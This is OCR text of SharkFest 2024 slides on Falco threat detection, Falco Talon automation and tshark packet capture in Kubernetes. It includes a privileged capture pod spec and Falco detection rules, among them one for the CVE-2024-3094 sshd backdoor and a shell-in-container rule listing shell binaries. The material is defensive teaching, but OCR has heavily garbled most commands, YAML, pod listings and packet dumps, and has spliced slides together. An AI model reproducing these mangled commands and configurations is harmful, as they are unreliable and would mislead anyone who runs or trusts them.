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Falco detects real-time threat in -

Kubernetes #sf24us

% Falco

Falco sends a webhook to the

Security team can now investigate
Talon backend

the pcap file related to the threat
in Kubernetes

WIRESHARK

tshark capture is initiated in Kubernetes

Falco Talon

Talon triggers an automation action
(shell script to run wireshark)

promcat.io falco.org sysdig.com/opensource
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Falco Talon can receive the events from Falco or Falcosidekick:
#sf24us
Falco » Falcosidekick | » Falco Talon
or
Falco | »  Falco Talon
Glossary
e event: an event detected by Falco and sent to its outputs
e rule: defines criterias for linking the events with the actions to apply
e action: each rule can sequentially run actions, each action refers to an actionner
e actionner: defines what the action will do
e notifier: defines what outputs to notify with the result of the action

https://github.com/falco-talon/falco-talon/
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https://github.com/falcosecurity/falcosidekick
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tshark in Kubernetes g

Capture Lifecycle with Tshark #sf24us

GET STARTED OBTAIN PCAP ANALYZE PCAP ADVANCED TOPICS

# Edit Pca { A SharkFu ]
| L]
'[ a's Capture Pcap

J

/

L

Pcap/ng
/v s Export Files ] % Share Results ]

[ Q Search Pcaps ] ]

=
=

[ g% Start Here ]

]

© Analyze J

| h[ kst Generate Pcap } | [ 1r Next Steps ]

tshark.dev is your complete guide to working with packet captures on the command-line.

https://tshark.dev
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tshark in Linux

TShark's native capture file format is pcapng format,

which is also the format used by Wireshark and various other tools.

Without any options set, TShark will work much like tepdump.
It will use the pcap library to capture traffic from the first available network intertace

and displays a summary line on the standard output for each received packet.

https://tshark.dev
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3 . ; Large IP Ranges #isf2dus
Firewall

: T / for Egress 2

Large IP Ranges
between zones

Pods are
ephemeral.

Firewall =

Pods are NOT
long-lived apps.

When pods die, they
are recreated with
NEW IP addresses.

No visibility
within zone
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#sf24us

Pod

Pods are an abstraction
of executable code.

Network Namespace

Nodes are abstractions
of computer hardware.
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What is a Network Bridge”?  ShaikFest24!
X 4

NOde #sf24us

Every pod on a node is

part of a bridge.
The bridge connects all pods
on the same node together.
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Network Namespace

This bridge is called cbr0




Ephemerality

INn containers

ootmaster:-# hRubectl get pods - -0 wWide | grep -E "Running|i0.42.0.

(ubs-gystem  local-path-provisioner-SEL76fciSd-447mm  1/12 0 4 7m s paster <ROne> <none>
Xube-gystén :t:r;::o:::v:r—&b:bb&&ﬁ?f-qﬁ&ns 1/1 D ¢7m & master <ROne> <PHOne>
ubg-System coradne~-74484995440-nkkto 1/1 o 4"m p. Baster <HOne> <NOne>
Kube-system  svolb-traefik-05w 2/2 D 47 8 Baster <O <none>
Hube-systém |trasfik-957bd44b794-xtvwbd 1/1 > 47 n , maASter <none> <none>
taleo faleo-falcosidekick-Ta665b44tb-52142 1/1 D 45 S saster <pone> <DOne>

Ealoe ftalco~faloosidekick~Toa65hedib-gixkh 1/1 D 4 5: i1  master <HOnE> <Roneé>
faleo falco-griwd 2/2 0 15 <none> <none>
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<none> <none>

9-% 3=
talos ftaloo-talan-6e8f860559-povgh /3 33m 12
rootfmaster: ~#| kubectl delete pod -n kube-system  trasfik-S5Thddb754- x:vub-__T

pod "trasfik-9Th44b754-xtwib" deleted

sotmasteri~¥ kubectl get pods -A -0 wide | grep -E "Rurning|10.42.0.

<none> <Done>
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tube-system local-path-provisioner-Sif7eiciSd-447pm 1/1 D 48 5

|
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CHO0nEe> <none>
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Hube-Systes rct--::—vcrvcruﬁésbbﬁ157f-qbﬂn: 1/1 0 48= 6

8 |

{ube-gysten redns-7448499£44-nkkte 1/1 0 18m p <none> <none>
systen ";-b— rasfilk-dS5w) /2 0 47m &
-

rtalco falco-falcosidekick-Toee65hddb-5el2 1/1 D 45a

-

<RONDe> <Dones>
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<Done> <Rone>

.
.

faloo faloo-talcoeidekiok-Tes65bddth-gfxkh 1/1 0 45m 11 master CHONE> <HOne>
Taleo faleo-gqriwd 2/2 D 45 10 master <HOne> none>
faleo falco-talon-6CBEB60559~-851wl 1/1 » 34mn 13 maASter <Hone> <none>
taloo falco—taLon~b:3fth959~p:vgh 1/1 D I4m 12 Baster <Hone> <HONe>
ube-systéen trutflk~9?bidb?9i—kj2@5 0/1 0 i= 14 paster CHONe> <ROne>
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SYSdig 2024 sysdig

CIOUd - Natlve secu rlty 202!4 CIloud Native Security , #Sf24US

and Usage Report and Usage Report

» 0:15/0:15

The cloud accelerates innovation. But
what are the risks of moving too fast?

Containers living less than 5 minutes

¢
After analyzing millions of containers and thousands of cloud services, users, and 72 /O 70 %

roles, the results are in! The biggest trends we're seeing include:

o Shift-left still isn't a reality yet
* |dentity management is the most overlooked cloud risk
e Short-lived containers will always present risk

e Enterprise GenAl adoption is growing slower than expected 0o 0o
p o s ; 49% 49%

Dig into the report to uncover the latest insights and best practices for cloud-native 44 %
security and usage today.

20%
2024 Cloud-Native o

Security and
‘

Usage Report
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https://sysdig.com/2024-cloud-native-security-and-usage-report/
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Understanding tshark



Installing tshark on Ubuntu

rootfmastar:~# kubectl get nodes -0 wide
NAME STATUS ROLES MGE VERSION

Baster

INTERRAL-IP

- 2 - . - - e 1, » - -
control-plans master i5m Vi.21l.4+K381 10.5.0.18

EXTERRAL-IP OS-IMAGE RSION CONTAINER-RUNT
Ready <none> Ubuntu 20.04.4 LTS L.l:‘u-iu:9~ng

rootinaster:~¥ tehark

Command "tshark' not found, but can be installed with:

rootémaster!-¥ apt

Reading package lists... Done

Building dependency tree

Réeading state information... Done

'he following packages were sutomatically installed and are no langer reguired.

Libblockdev-fa2 libblockdev-loop2
}_

1ibmmal libparted-fes-resizeéel libudisks2-0

libatassartd lLibblockdev-part-err2 libblockdev-part? libblockdev-swap2 libblockdev-utils2 libblockdev

Use ‘apt autoremove’ to remove them,
The following additional packages will be
Libe-ares2 1ibluas. 2-0 1ibhnl-3-

200 libhnl-geni-3-200 1ibsbeol 1ibemi2lidbl libsnappyivs libspandep2 libspeexdspl libssh-gorypt-4 libwiresbark-data

4"

Libwiresharkid libwiretapliO libwesutilil wireshark-ccamon

ﬁ\ »
o3

sted packages:

i
o

srap-mibs-downloader geoipupdate geoip-database geoip-database-extra libis-leaflet libis-leaflet.parkercluster wireshark-doc

1

The following NEW packages will be installed:

libo-ares2 1ibluaS.2-0 1ibnl-genl-3-200 1ihsbel 1ibemiZlidbl libsnappylivs libspandsp2 libespeexdspl libssh-gerypt-4 Libwir
Libwiretapil L;buvu~-L;: tabhark wiresbark-cosmon
The following packages will be upgrade

1ibni-3-200

upgraded, 15 newly installed, 0 to remove and 308 not upgraded.
5.1 MB/18.3 MB of archives.

Need to get 18
eration, 107 MB of sdditional disk space will be used.
(S

After this op

rh

Getil http!//europe-westl,goe archive . ubuntu.comfubuntu focsl/main amded libluas.2-0 amdéd 5.2.4-1,.1huildl (106 kBj

Get:2 http://europe-westl . goe.archive . ubuntu.com/ubuntu focal-updates/main amdéd 1ibnl-3-200 amded 3.4.0-lubuntub.i [54.4 kB
Get:d http://europe~-westl . gee. archive..ubuntu, com/ubuntu focsl-updates/main aaded l;bnl—g:nl-:-‘b amdéd 3.4.0-1ubuntub.1 [11.2 kB
Getid http://europe-westl. goe. arcdhive.ubuntu.com/ubuntu foasl /universe amdéd 1ibami2idbl déd 0.4.8+dfsg2-16 [100 kB
GetiS http://europe-westl . goe.archive . ubuntu.com/ubuntu focal /funiverse amdéd4 libspandsp2 auJ(l u.u.u*jfsg—k 1272 kB |

d

Geti6 http: //europe-westl . goe.archive . ubuntu.com/uburtu focal fluniverse amdsd libwireshark-dats all 3.2.3-1 [1456 kB

{31.9 kB)

i libsbel amdsd 1.4-1
Get:8 http://europe-westl goe,archive.ubuntuy,com/ubuntuy focal /main amdéd libsnappyivs amded 1.1.8-1buildl [16.7 KkB)

Get:7 http!//europe-westl . gee.archive . ubuntu.com/ubuntu focal /main sudbd

Get:9 http://europe-westl,goe. archive. . ubuntu.com/ubuntu focsl /universe amdéd libwsutilil amded 3.2,3-1 [61.1 kB
Get:10 http: //europea-westl . goe. archive.ubuntu.com/ubunty focal /universe amdéd Libwiretapi0 amdéd 3.2.3-1 [199 kB
Get:1l http://europe-westl goe.archive . ubuntu.com/ubuntu focal /funiverse amdéd libwiresharkid amdéd 3.2.3-1 [15.2 MB)
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Getil2 http://europe-westl . goe. archive.ubuntu,com/ubuntu focal /universe amdfd wiresshark-cosmon amdéd
e se

ti13 http:i//europe-westl . goe.archive.ubuntu.com/ubuntu focal funive: ancdtd tebark amded 3.2.3-1 (1%

G
Fetched 18.1 MB in 18 (23.3 MA/=)

W
- -
.-
[

:anznincrdrffl.d.

libnsprd

shark-data libwiresharkil

143 <
LIDDES

Shar
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#sf24us

apt install tshark -y

tshark

https:/[tshark.dev/setup/install/#install-wireshark-with-a-package-manager

Fairfax, VA



Running tshark

oS mastTteaerx S o
&

tebhark —v | rep "Gerald Comhbs™

-

o o
N

noing as user "root'™ and oup "root™. This could be dangsrous.
pyright 19958-20Z0 <geraldpwireshark.org> and contributors.,
il s s — - - o e el

SJroup root™. This: could be Sangerous.

mNing as user "“"root™ and O
ofs
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!
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uring on "vetrhSaddaqc
i O0.00000D0000 0.
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« 0. 42 . 0.2 ™TP 74 33250 + B18: [ SEYN ] Seq=0 Win==64350 Len=0 MSS=1: SACE PERM=1 T 24449958 TSecocr=0 WS=128
S L — Sl 3

a 1
2 D. 000034082 0.4 0. - D .4 . 3 e ; . - 3. >0 . g=0 Ask=1 Win==65184 Len=0 ME 2 370D L'K_E’ BEM =1 TEuval=10009T7T1i363 TSecr=S5S82444958 WS f2
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2 0.000054020 10.42_. 0.2 - 10.42.0.2 TCP 66 33250 « Big: [ACK )] Seqg=1 ACk=1 Win=64512 Len=0 TSval=5B2444958 TSecr=31000971362

4 0.0002832875 10.42.0. X - 10.42.0.2 HTTP 172 GET /ready BTTP/1 .1

S 0.000307708 10.4¢2.0.2 - 210.42.0.3 INCE Ss6 B18: T < ..'_i‘--'__" LACK ] Seg= 82444558

& 0.0004Z245916 t0.42.0.2 - 20 2.0.2 TTP 203 HTTP/S1 .2 200 OK Tesx

O.000445478 I0.42.0.12 « 30.42.0.2 TCP 86 33250 - Bi1B8xr [ACK | Seg= 1000971362

E O.000493562 10.42.0.2 « 10.42.0.2 ™TP &6 2ia:z - 33250 [FIN, ACK) TSecr=882Z44455E

S 0D.000S6587E 0. 42.0.12 - 210.4Z2Z. 0.2 P &6 33250 Bi82 [ FIN, ACK] Seor=3100097T1363
10 0.00085T77082 10.42.0.2 10.42.0.1 PP 565 B18x 33250 [ACK | Seq= =S82444558
21 2.9595021584 10.42Z_ 0.2 -« 10.42.0.2 PCE T4 33252 Big: [ S¥YN] Seg= 65997 TSecr=0 WS=12
12 31.95950532758 D.42.0.2 -« 10.42.0.1 NP 74 B8181% 23252 [ S¥YNn, ANCX ) PSvai=31000573362 TSecr=S82446597 WS
1% 1 .555074074 t0.42.0.2 - 20 2.0.2 NCP 66 33252 Big: [ACK ] Seqg=2 S7T3I362
14 1.999307&84 I10.42.0.32 + 20.42.0.2 BT 172 GET /resady BHTTP/1 .2
15 1.55953323144 10.42. 0.2 . 10.42.0.2 'CPE £6 218 . 33252 [ACK] Seg=31 PAok=3107 Win=£51582 Len=—0 TSyal=-10009733£2 TSecr=5824459957 . .
16 XI.55955454229 $10.42.0.2 - 10.4Z2Z.0.2 HTTP 203 ATYPJi .1 200 OK (Ttext/plain) Ink ShOW rep Cnl
b4 1.995480868 2 0. 42.0,.2 10.42.0.2 PP 856 33253 « B18X [ACK ] Seg=107 Ack=138 Win=643284 Len=0 TSusli=5S5B824465957 TESecr=10009573362
18 1 .959553162 210.42Z2 . 0.2 « 10.42.0.3 TCE &5 Big:x= - 33252 [FIN, ACK ] Seq=138 Ack=107 Win=65152 Len=0 TSval=I1000973361 TSecr=582Z44659
19 1 .9956059AS5 10.42.0. 2 - 10.42.0.2 TP 66 323252 « BIBZ LFIN, MANX) Seq=107 Ack=1I395 HWin=64384 Len=0 TSval=S5EB2446597 TSecr=3I10005733&62
20 1 .9596326513 10.4¢2.0.2 - 20.42.0.212 CE 865 B182x « 33252 [ACK ] Segq=135 Ack=108 Win=65152 Len=0 TSval=I00095T33e3 TSsor=S824465957
21 2 .99595607686 t0.42.0.2 - 20 2.0.2 PP 74 33254 L SYN ] Seq=0 Win=64350 Len=0 MSS=1370 SACK PERM-=-1 TSval=-582448558 TSecr=0D WS=128

3 .99958B41 4 10.42.0.2 20.42.0.13 T™CP 74 B18x LSYN, ACK ]| Seg=0 Ack=1 Win=65i84 Len=0 SACK PEEM=1 TSvuval=1000975363 TSecr=S82448958 WS n n
23 4.00001344°9 0. 42_. 0.2 « 20. 42 . 0.2 313254 B1i81 [ACK ] Seg=1 Ack=1 Win=64512 Lén=0 TSval=5S224485958 TSecr=10009753&6= tShark -I CnIO -a
24 4.000232011 10.42.0,.2 « 20.42.0.2 2 GET /reagdy BTTP/1 .1
Z5 4. 000Z50&655 10.4a2Z_. 0.2 « 10.42.0.3 s1gex - 3254 [ACK] Seqg=1 ACK=10T7 Win=651i5Z Len=0 Svali=1000975363 TSecr=582Z448558 L}
26 4.000379144 10.42. 0.2 . 10.42.0.1 3 BTTP/1.1 200 OK (text/plain) duratlon '8 _W
Z7 4.0004115590 20.4¢2.0.3 - 20.42.0.2 323254 B181 [ACK ] Seq=107 Ack=138 Win-—64384 Len=0 TSvAal=-582448558 TSecr=I10005957533 L]
28 4.000452303 0. 42.0.2 - 20.42.0.2 sig8z « 23254 [FIN, ACE] Seq=138 ACKH=I07 Win=651582 Len=0 TSval=I1000575363 TSsecr=582448598
29 4 .00052596x I10.42.0.2 + 20.42.0.2 S32549 -« B183 [FIN, ACK] Seg=1i07 AcCK=138 Win=64384 Len=0 TSval=58244B998 TSecr=10009753s53
30 4.00053421 4 20.42.0.2 « 0. 42.0.2 SB18X -« 33254 [ACEK ] Seqg=139 AcKk=108 Win=65152 Len=0 TSval=1000975363 TSecr=522448598 Ca tu re pcap
32X 4.000547560 1 0.42. 0.2 - 10.4Z2Z.0.2 33254 . Bigl [ACK )] Seg=108 MAMk=139 Win-64384 Len=0 TSval=S82448598 TSecr=10009753&3 p "
32 5.993381223 21 0.42.0,.2 10.42.0.2 PP T4 54678 « BOBD [ SYN | Seg=0 Win=64350 Len=0 MSS=1370 SACK PEPRM=1 TSyval=5SB2450551 TSegar=0 WS=128
332 5.995340677&6 10.4Z_. 0.2 « 10.42.0.3 »CP T4 BOSBSO - 54678 [ SYN, ACK ] Seq=0 AZK=1 Win==65184 Len=0 MSS=1370 SA K PERM=21 Sval=10009T7TT7T356 TSecr=5B8Z450551 WS
~ LS

34 S5.993427966 10.42. 0.2 - 20.42.0.2 TP s68 54678 BOB0 [ALCK ] Seg=1 Ack=1 Win=64512 Len=0 TSval=522450551 TS&ecr=310009T7TT735&
35S S5.99373T7326 t0.42.0.2 - 20.42.0.2 BTTP 173 GET /bhe=alth BTTP/3 .1
36 S.953T75583¢ 10.42.0.2 - 310.42.0.13 ICEe 56 BOBO - 54878 ACK ] Seg=3 ACRKR=108 Win=65152 Len=0 TSval=1000977357 TSecr=S824509552

F S. 59938779525 0.42.0.2 « 0. 42.0.2 BTTP 203 BTYTTE/1 .1 200 OK (text/plain)
38 S5 .99539505275 0. 42.0.12 - 10.4Z2Z.0.2 PCE 86 S4678 . BOB0O [ACK)] Seg=l10B MMk=13E Win-64384 Len=0 TSval=S582450992Z TSecr=1000977357
32 5.99355T7203 20.42.0.2 20.42.0.3 P 565 B0B20 « 54678 [ FIN, ACEK ] Seq=138 AckKk=108 Win=65152 Len=0 TSval=3I10009Y73A87 TSecxr=5B2450552
2l S.954023873 10.42_ 0.1 -« 10.42.0.2 PCE 56 54678 «. BOBO [FIN, ACK] Seq=10B Ack=13S% Win=642384 Len=0 TSval=58245055Z TSecr=I1000S77357
21 5.954032186 10.42. 0.2 . 10.42.0.1 PCP 66 BOBO - 54678 [ACK ] Seq=135 Ack=2105% Win=65152 Len=0 TSval=31000977357 TEecr=5824509552
AL S .999565T7556 10.42.0. 12 - 20.42.0.2 CE T4 33258 BL8X SE¥YN] Seg=0 Win=64350 Len=0 MSS=1370 SACK PERM-= TSval=S582450998 TSecr=0 WS5=1285
43 S5 . SSSETAE3S t0.42.0.2 - 20.42.0.2 MNP T4 Bigx « 33258 [ SYN, ACE] Seq=90 ALfk=1 Win=651i84 Len=0 MSS=1370 SALCK PERM-1 TSval=1000977363 TSecr=SB824S50558 WS

t28

i4 S.5599691133 20.42.0.2 « 0. 42 . 0.2 P 66 332582 218 [ACK ] Seqg= AOK=3 Win=6451i2 Len=0 TSval=58Z450558 TSecr=3I00D095773&3
ac S.955%07062 0. 42. 0.2 - 10.4Z2Z. 0.2 BTTP 172 GET /ready RATTP/1L .3
46 5 .599525047 I10D.42.0.2 0.4 O.% NP 565 8186 .“_'..L‘_l.tﬂ LACK ]| Seq=1 Ack=3107 Win=65152 Len=0 TSval=10009773632 TSecr=5824505958
a7 &6 . 00004501S 20.42Z_. 0.2 « 10.42.0. BTTP Z03 BTTP/: . 1 200 OK (text/plain)

23258 -
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=207 Ack=138E WNin==G4384 Len=0 TSval=58Z24509558 TSeco
o

2.0.2 -~ 10.42.0.12 e s6 - 33258 [FIN, ACEK] Seq=138 Ack=107 Win=65152 Len=0 TSvsl=1 S 353 TSecr=58245055&
SO &6.0003181657 0. 42.0.3 - 20 2.0.2 TCP 66 Big: [FIN, ACK] Seqg=107 AcCK=139 Win==84384 Len=0 TSval=58I245059%E8 TSecr=31000977363
S £ ONnta>>aanm 10.42.0.2 10.42.0.2 TCP &6 323258 [ACK ] Seg=139 AcCK=108 WiIin=653152 Len=0 TSval=I000977363 TSecr=582450558

C52 packets capiluresd
oUimaster -

https://tshark.dev/capture/limit_size/
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link

e L
Wl Ayl

ter:-~# ip oni

'Bi‘“l”‘ .

show | Qrep

~ ~n
- url.\.._)o‘o.L

B7:64:49:59 br

<BROADCAST MUOLYIC

jether batd7:

cdRbh22emifl: 571,

uP , LOWER UP> mtu
<BROADCAST MULTICAST ,UP,LOWNER UP> mt
d ff:ff:ffiffi£tf.
UP, LONER

- - "
1410

fether ba:di:58:4a:20:04 brad £f: tt ) o A > D >

on
= A 'L

1:80::6:
TeBbo12Y <BROADX
ether da:abrd,.ll'qi'
De75f512ai

jether 22:83:18
babibaberts
Jfether Ba:lh:
TeL1fl:
2a:e0:
e70efad7@itl:

ether

3 ~J"C‘DJ.J l”d“'“‘

,:":’._hL"I R&: l.'
el

<BROADCAST

1. ¥

<BROADCAST MULTICASY UP,
B5i68:ad

<BROADCAST , MULTI(

Jether
A
S6:27:ea:13:8A:
dBEZ0ba7@iti: IR
jether fe:d44:859:8
_3J5“$Lb2 T3: <A

o ; -
DADCAST MULTICAST. UP

ar:~¥ teshark -2

"root"™ and group "root". This

on "'¢nio

ter:~¥ tshark -r capturel.pcoap ~-Y "ip.

and group "root'

8
B5B8231615 + 10.5.0.18
D01324355 10.5.0,18

8
PO1364297 + 30.5.0.18
ter:~¥ kubectl d
& metrios-server-S86chbedesTi-g58ns
¥

tén -T7448455

o UB, LONER: U
¢f brd ff:ff:ff:ff:ff:ff Link-netns
AST ,MULTICAST,UR, LOWER UP>
dé brd £f:ff£:£8: £ ££:£F Link-netns
MULTICAST , UP , LOWER
284:58 brd fE:ff:Ef:£E:£F:£Ff Link-netns
<ARCADCAST , MULTICAST, UP,LOWER L
T2:02:35:6 brd £ ££:5Ff Link-netne

LAMER

Wor, UB, LOWER UP>
a0 brd £t L ££: 51
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Link-netns

1410 qdi::

lLink-netns
Link-netns

2:C0:64 brd fE:fEcffff:£f:£f Llink-netne
QADCAST , MULTICAST, UP, LOWER U
79:09:7f brd £ L5 1Link

guration:f -w

-npeEtne

N

—“t
CaAnNgerous.

D.6 and

DEFAULT
DOJuUeLs master 0
~-80946%ef-2492-0412

) qd;:c DOJuUeLs master 0
-3cb4azis-Bdeb-b3I58-6]

ke UP modse

‘l
[ _

DOQUELE master 0 3

—b91$0256-c:33~Gid;~lbt;~357259041403

mode DEPAULT

-1::&&:75“12?3-9795-5:;0"“7"Gf 602

UP mode DEFAULT
-6615448e-8654-5308-2ab4 -801be557d040

Qdisc noguene master 0 UP mode DEFAULT
-54Cc£4536-63dd-biffe-oSni-a7£14a2774834

gdisc & UP mode DEFAULT
-53a2c8048-4 Cfflllu_bth

1410 gdisc mode DEFAULT

Sac fbejﬁ‘

UP mode DEFAULT

1410 qdisc nogueus master 0

1410 gdise nogquens master 0 state
(-

1410

2410 noguesue Haster U stat
i o

nogueus master 0
~2896Cecd-bS
1410 gdisc nogquens mas
~-bdéehS54a-75f1-5114-7367-13£3ede80245
gQdisc nogquéns ma UP aode DEF)
-fed75add-fe35-be0a-1c07-1e418

-,
ALLT

410
aTE5500
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Win=3344 Len=0 TSval=2BR5813

Win=502
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Application Dati

v 20250 [ACK | Seq=46 Ack=11898 Win=502 Len=0

.2 108 Application Data

Z 108 Application Dat

Previous

37974

. 6443

"Coreans | 10.¢

not captured| 37574

'

segaent
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2.0.6"

Running 0 35x =

A
Running 0 35 10.42.0.2 master
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tshark -i cniO -a duration:8 -w capture.pcap



Using Kubectl

for ipconfig

'd;.j: |
4 0m

_.;\ e
control-plane, master

¥ Kubectl nodes

Ready

rootsmastear: D

Qe

mASter el . d+kis1 CHone>

rootFmaster:~¥ Kubectl get pods -A -0 wide | grep -E "Runmning|10.42.0."

Kube-systen local-path-provisioner-5tt761c853-447rm 1/1 0 4 O
Kube-gsystén metrics-server-86chbB457f-qS56ns 1/1 D 40m
Kube-system coredns-74484599f4d-nkkte 1/1 » 4 Om
Kube-gsystea 5vclb-:rncf;k—595w‘ 2/2 0 35m
Kube-systen tracfik-S7Thddh 754 ~-xtwwb 1/1 0 26m
ftalco ralon- ful's ldekRick-To665b4dtb-521 9 1/1 0 38m
falco faloco-falcosidekick~-7o665h44b-gixkh 1/1 0 18:
ftaloo falco-qriwd 2/2 » Ky,
falco faloo-talon~-6eBfBlacS55-s5iwl 1/1 » 26:
falco fal talon~-6cB8LB86c959-povgh 1/1 D 26m

o
tshark -r -¥ "io.8rc¢ == 10.

rootfmaster: capturel . .poap 42.0.6 and toep"™ |

Running as user "root" and group "root"™. This could be dangerous.
126 3.725655546 t0.5.0.2 66 37568 64432 [ACK ] Seqg=1 Ack=1 Win=3344
233 5.7736659507 10.5.0.18 66 37574 6443 [ACK | Seq=1 Ack=1 Win=502 L
240 5.83037638E5 10.5.0.18 TLEv1. 2 111 Application Dats
244 5.B58080785 10.5.0.18 66 51372 . 10250 [ACK] Seq=46 Ack=1
246 5. B5B196795 « 10.5.0.18 TLSviI. 2 108 Application Data
247 5.B858231615 10.5.0.18 TLSv1.2 108 Applicstion Data
250 6.001324355 10.5.0.18 66 | Previous segment not captured] 3797
647720948
252 6.001364297 10.5.0.18 66 317574 6443 (ACK | Seq=2 Ack=5855 Win=50

rootésmastear e

Ubuntu

1858 Win=502 Len=0

#sf24us
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<Done

cR0ON> cnone >
2 NASTEeY <H0Ne <ROns>

¢ BAasTer Ao iais’ b none>
' master <oone> chone>
- BASTEr cnone> cnone>
=3 naster <pone> cRone>
20 BASTer None> <none>
i3 BASTer cnone > cnone>
12 BASTEr CROnRe> cnone>

1‘; "

Len=0 TSval=28535T72607 TSecr=3647687557
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2 oF 5

2853574878 TSecr=3647720548

-
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tshark in a pod

.y
<! ‘

#sf24us

apiVersion: apps/vi
kind Deployment
metadata

name . ubuntu

matchlLabels
app. ubuntu
template
metadata
labels
app . ubuntu
sSpec
contalners
name : ubuntu
3ge . ubuntu latest

1Mage

command "/bin/sh"
' -y curl tcpdump tshark && sleep infinity”

args "—-c¢" "apt-get update && apt-get install

securityContext

capabilities
» add [ "NET_ADMIN", "NET_RAW"




Reliability in Kubernetes

rootémastar:~# Rubectl apply -£
> gpiVersion: apps/vi
> Rind: Deployasnt

> mecvadats:

0"

pamE: ubuntu

> Spéec:

- -
- - -~ - -
- -cobbu—-::-lo _—
-
3 P -
Cl -
- 5:&-— \.'...Io

\ v v
rt
R
g o
P O
rt '0' [+
o7
&
» " r
r!
* ¥
L R ':‘
o
-
rt
-

v
)
143
.
)
=
5

> APpP: ubunt

> COontalners:
> - D& ubuntu

> ImaGge:: ubuntu: latest
> command: [ "/bin/sh" ]
. - e ™~ oo. "- - -
> sedurityontext:

> privileged: trus

> EQF

Seployment .apps /ubunty dreated

rootémaster:~# kubectl get pods
~-EB7CO9DE454-Tq2L9 0/1
-68729DE4A54-Tq2Ls 1/1

update &k Apt-get instal

W | grep uountu
Contalinerireating 0

Running D

Lo

LY

N
(&)

¥k k& sleep infinity™ )

#sf24us
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Syscalls e

#sf24us

System Calls are the way for
programs to ask the Kernel for
access Lo resources.

APPLICATIONS

" PTOCESS KUBERNETES

e Nnetwork

 |O files

. And more OPERATING SYSTEM

KERNEL



Falco Architecture Shmﬁst.’g,;?gﬂus

. . #sf24us
Events collection Rules matching Alerts

program

syslog
Kernel

@ https://github.com/falcosecurity/falco
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Falco Architecture ShaikFest:24 US

June %5 -20.Fairfax, VA

Priority Source Name *  File Tags Maturity Status

EX () Adding sshkeys to authorized_keys 0 falco- maturit_incubating | host | filesystem- Cincubating
incubating._rules.yami

| syscalls | (i) Backdoored library loaded into SSHD (CVE-2024-3094) () falco- | maturity_incubating | host | container
incubating_rules.yam|

NOTICE | syscalls | () Basic Interactive Reconnaissance [ falco-sandbox_rules.yam| maturity_sandbox | host | container sandbox
[ TA0043 |

NOTICE | syscalls | (i BPF Program Not Profiled () falco- maturity_incubating | host | container |
incubatingrules yam|

NOTICE | syscalls | (i Change namespace privileges via unshare [ falco-
incubating_rules.yami mitre_privilege_escalation | T1611

THE3 EIETI ) Changethread namespace 0 falco- maturity_incubating | host | conainer-
incubating_rules.yaml mitre_privilege_escalation

EXI ) ClearLog Activities D) falco_rules.yam maturit_stable | host | container | fiesystem-
NIST_800-53_AU-10

NOTICE m (i Contact cloud metadata service from container () falco- mm
incubating_rules.yam| mitre_discovery | T1565 |

NOTICE m () Contact EC2 Instance Metadata Service From Container [ falco- mm
incubating_rules.yaml T1562.005

NOTICE | syscalls | () Contact K8S API Server From Container () falco_rules.yaml | maturity_stable | container | network | kas | | stable

ERROR | syscalls | () Container Drift Detected (chmod) () falco-sandbox_rules.yaml| maturity_sandbox

dBA8 fREOH
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Falco Rules Library ShaikFest:24 US

June %5 -20.Fairfax, VA

Priority Source Name

Type: ()
Priority:

m 2 Backdoored library loaded into SSHD (CVE-2024-3094) Name: Backdoored library loaded into SSHD (CVE-2024-3094)
Desc:

This rule detects possible CVE-2024-3094 exploitation when the SSH daemon process loads a
vulnerable version of the liblzma library. An attacker could exploit this to interfere with
authentication in sshd via systemd, potentially compromising sensitive data or escalating their

(m Adding ssh keys to authorized_keys

WARNING

NOTICE m (i) Basic Interactive Reconnaissance

NOTICE [ syscalls | () BPF Program Not Profiled privileges.
Source: Bl
NOTICE | syscalls | () Change namespace privileges via unshare Condition:

open_read and proc.name=sshd and (fd.name contains "liblzma.so0.5.6.0" or
NOTICE m (7 Change thread namespace fd.name contains "liblzma.so0.5.6.1")

Output:
| syscalls | &) Clear Log Activities
SSHD loaded a backdoored version of liblzma library %fd.name with parent
%proc.pname and cmdline %proc.cmdline (process=%proc.name parent=¥proc.pname
file=%fd.name evt_type=%evt.type user=%user.name user_uid=%user.uid
NOTICE Il syscalls | &%) Contact cloud metadata service from container user_loginuid-%user.loginuid proc_exepath=%proc.exepath command=%proc.cmdline
terminal=%proc.tty exe_flags=¥evt.arg.flags %container.info)

NOTICE m (i) Contact EC2 Instance Metadata Service From Container

Status: |

cubating
Laavet iyt Y

Status:

Required engine version: 0.35.0

Depends on:

20 open_read ()

v e —
e
|

NOTICE m () Contact K8S API Server From Container

ERROR | syscalls | (3 Container Drift Detected (chmod)



Rule Logic shagﬂs%ws

H#sf24 us

- rule: Terminal shell in container

desc: A shell has been spawned in a contalner.

condition: >

spawned_process and contailner

and shell procs

output: >

A shell was spawned in a container (user=%user .name

user_loginuid=%user . loginuid %container .info
shell=%proc.name parent=%proc.pname
cmdline=%proc.cmdline container_id=%container.id)
priority: WARNING
tags: [container, shell, mitre_execution]




Rule Logic

spawned_process and contailner
and shell procs

Shaﬂﬁst”@;ﬂ UsS

June %5-20|~ Flairf| ax, VA

- list: shell_binaries
items: |[ash, bash, csh, ksh, sh,
tcsh, zsh, dash]

- macro: shell_procs
condition: proc.name 1n
(shell_binaries)

- macro: contalner
condition: (container.id !=
host)

- macro: spawned_process
condition: >
evt.type in (execve, execveat)
and evt.dir=<




Install
June' 15 20 Fal,w;,\ ',,,,Aax VA
Falco el

09

root@master :

——create—-namespace \

——set tty=true \

—-—set falcosidekick.enabled=true \

——set falcosidekick.webui.enabled=false \
falcosidekick.webul.redis.storageknabled=false \
falcosidekick.config.webhook.address=http://falco-talon:2803 \
collectors.containerd.socket= /run/kBs/contalnerd/contalnerd sock \

| 1 ~ 7 : 1 # g - . . —~-...' " ."‘ ".ﬁ 1 ' £ - ] . . g "~ . ) T
( COCLL . Cf 11 1‘4.-.:'1. 24 14SC L. AlISLal l . 1I'e) '5_'* . I - | =1 ‘ S ATYERY A |

>
)
>
>
>
>
)
>
>
>

dbox_rules

-f custom-rules.yaml

https://falco.org/docs/install-operate/third-party/install-tools/



Check Falco

IS Running

> -~get "falcoctl.config.arcitact. . follow. refe={falco-rules:2, falco-incubating-rules: 2, falco-sandbox-rules:2>"
ile

#sf24us

. e ‘..' . - :
> -t "falco.rules 3

’
s.yaml, Jete/falco/taloo-incubating rules. yaml, fetc/falco/faloco-sandbox rules.yaml, fetc/falco/rules 43"

'~‘
)
]
~——
"
!
»
m
(44
'-0
O
\
bﬁ
o
’
»
&
"
-

> -f custom-rules. yaml

NAME: falco

LAST DEPLOYED: Mon Jun 10 10:05:52 2024
NAMESPACE: faleo

STATUS: deployed

REVISION: 1

NOTES:

